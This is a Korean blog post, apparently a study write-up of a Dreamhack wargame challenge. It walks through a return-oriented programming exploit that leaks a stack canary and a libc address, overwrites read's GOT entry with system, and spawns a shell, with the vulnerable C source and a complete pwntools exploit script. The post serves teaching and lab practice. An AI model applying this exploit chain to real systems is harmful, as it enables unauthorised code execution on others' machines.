사용 배경과 목적
system 함수를 활용해 셸을 획득하고자 system 함수의 주소를 알고싶은데,
프로그램에서 이 함수가 활용되지 않고, 심지어 ASLR 기법이 적용돼 있는 바람에 바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등의 주소가 바뀐다면,
우리는 좀더 먼길을 돌아 주소를 얻어야 한다.
: 프로세스에서 libc가 매핑된 주소를 찾은 뒤,
이 주소로부터 system 함수까지의 offset을 구해서,
최종적으로 system 함수의 주소를 얻기
libc.so.6 라이브러리에는 system 함수 뿐 아니라 이 바이너리가 호출하는 read, puts, printf도 정의되어 있는데,
라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, read, puts, printf 뿐만 아니라 system 함수도 프로세스 메모리에 함께 적재된다.
물론, 바이너리가 system 함수를 직접 호출하진 않으니 이 함수는 GOT에는 등록되지는 않지만,
read, puts, printf는 GOT에 등록되어 있으니 이를 활용하면 된다. (이것을 활용하려는 시점은 이 함수들이 이미 호출된 이후인 main 함수의 return 이후이므로 활용 가능함.)
한편, 동일한 버전의 libc 안에서 두 데이터 사이의 offset (eg. read 함수와 system 함수 간의 거리)는 항상 같으므로,
libc가 매핑된 영역의 임의 주소를 구해낸다면, 다른 데이터의 주소를 모두 계산할 수 있다.
∴ read, puts, printf 중 하나의 함수를 정해서 그 함수의 GOT 값을 읽고,
그 함수의 주소와 system 함수 사이의 offset을 이용해서 system 함수의 주소를 구할 것이다.
소스 코드
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
// puts(): stdout에 문자열(문자열의 시작부터 Null 문자 직전까지)과 개행 문자('\n')를 쓴다.
write(1, "Buf: ", 5);
// write(fd, str, nbytes): str의 nbytes만큼만 fd에 작성
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
보호기법 체크
스택 프레임 분석
(higher address...) |
... |
Return address (0x8바이트) |
SFP [rbp] (0x8바이트) |
Canary [rbp-0x8] (0x8바이트) |
Dummy (0x8바이트) |
buf [rbp-0x40] (0x30바이트) |
... |
(lower address...) |
exploit 계획
Return address를 overwrite하여 실행 흐름을 조작해 셸을 실행하려 한다.
그러기 위해선
1. Canary leak을 하고,
2. GOT Overwrite, 즉 GOT에서 read 함수의 주소를 system 함수의 주소로 overwrite하고,
3. "/bin/sh"를 인자로 하여 system 함수를 호출하여 셸을 얻어야 한다.
exploit 코드
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = remote("host3.dreamhack.games", 24460)
e = ELF('./rop')
libc = ELF('./libc.so.6')
# 1. Canary leak
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
slog('canary', canary)
payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
# 2. GOT Overwrite ~ 3. system("/bin/sh")
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
# Gadget의 주소
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
# write(1, read_got, ...) ---> read@got을 leak
payload += p64(pop_rdi) + p64(1) # rdi 통해 1 전달
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # rsi, r15 통해 각각 read@got, 0 전달 (r15는 사용 X)
payload += p64(write_plt)
# read(0, read_got, ...) (ㄱ) ---> read@got을 system 함수 주소로 overwrite
payload += p64(pop_rdi) + p64(0) # rdi 통해 0 전달
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # rsi, r15 통해 각각 read@got, 0 전달 (r15는 사용 X)
payload += p64(read_plt)
# system("/bin/sh") (ㄴ) ---> system 함수 호출
payload += p64(pop_rdi) + p64(read_got + 0x8) # rdi 통해 "/bin/sh"(read_got + 0x8 위치에 있음) 전달
payload += p64(ret) # 메모리 정렬 상태 위해 그냥 껴넣은 것
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
# system 함수의 주소 계산
read = u64(p.recvn(6) + b'\x00' * 2)
libc_base = read - libc.symbols['read']
system = libc_base + libc.symbols['system']
slog('read', read)
slog('libc_base', libc_base)
slog('system', system)
# (ㄱ)과 (ㄴ)에서 호출된 함수에 각각 p64(system), b'/bin/sh\x00'가 입력됨
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
exploit 상세 과정
시간의 흐름에 최대한 부합하도록 정리하였다.
1. Canary leak
Canary leak을 위해 buf에서 채워야 하는 입력의 크기
= buf에서 Canary까지의 offset + 1(canary의 첫 바이트는 Null)
= (0x30 + 0x08) + 0x01
= 0x39바이트
2. line 46까지 실행되어 buf에 payload가 실린 직후:
main 함수의 스택 프레임 상에서의 payload는 아래와 같다.
(higher address)
read@plt
ret의 주소
read@got + 0x8
pop rdi의 주소
read@plt
0
read@got
pop rsi; pop r15의 주소
0
pop rdi의 주소
write@plt
0
read@got
pop rsi; pop r15의 주소
1
pop rdi의 주소 (원래 Return address 있던 자리)
"B" * 0x08
Canary 값
"A" * 0x38
(lower address)
3. read 함수 주소 leak
main 함수의 return에 도달하여, payload에 실린 코드들 실행 시작됨
: 맨 처음인 write(1, read_got, ...) 수행됨
즉 표준출력(1)에 read@got이 출력된다. (0은 r15에 매치될 뿐, 쓸모가 없다. pop r15 자체가 기능적으론 무의미하다.)
그러면, line 49에서, response를 기다리고 있던 공격자는 표준출력을 통해 read@got 값을 받는다. (by p.recvn(6))
4. system 함수 주소로 overwrite
line 50~51에서는 system 함수의 실제 주소 (8바이트이다)를 계산해내고,
line 57에서는 이것 뒤에 b'/bin/sh\x00'까지 덧붙여서 send한다.
그러면, 입력을 기다리고 있던 피해 서버의 read(0, read_got, ...)는
표준입력(0)을 통해 p64(system) + b'/bin/sh\x00'을 받아서 (총 16바이트), 이것을 GOT 상의 read 함수 주소에 overwrite한다. ( b'/bin/sh\x00'도 함께 쓰이는 거 맞음)
※ 디버깅 툴로 확인해 보면, rdx는 모종의 이유로 인해서 이미 0x10으로 딱 올바르게 설정돼 있다. 따라서 rdx를 직접 설정해주지 않아도 된다.
5. system 함수 실행하여 셸 획득
피해 서버는 이제, line 41~44에서 적재해놨던 payload에 의해,
rdi에 read_got + 0x8 (= read_got의 8바이트 뒤 = b'/bin/sh\x00')을 설정하고 read 함수를 실행한다.
그런데 이때! read 함수의 주소가 바로 위의 과정으로써 system 함수의 주소로 overwrite 되어있기에,
실제로는 system 함수가 호출된다.
즉, system("/bin/sh")가 호출됨으로써 셸이 획득된다.
'보안 > 시스템 보안' 카테고리의 다른 글
[Environment Variable & SetUID] 환경변수 상속, 환경변수와 execve(), 환경변수와 SetUID [SEED Labs - 1] (0) | 2024.04.10 |
---|---|
[SetUID] 임시적 권한 상승과 이로 인한 취약점 (0) | 2024.03.27 |
[Return to Library] (0) | 2024.03.12 |
[Stack Canary] Stack Buffer Overflow로부터 Return address를 보호하기 (0) | 2024.03.05 |
[Stack Buffer Overflow] Return Address Overwrite을 통한 실행 흐름 조작 (0) | 2024.03.01 |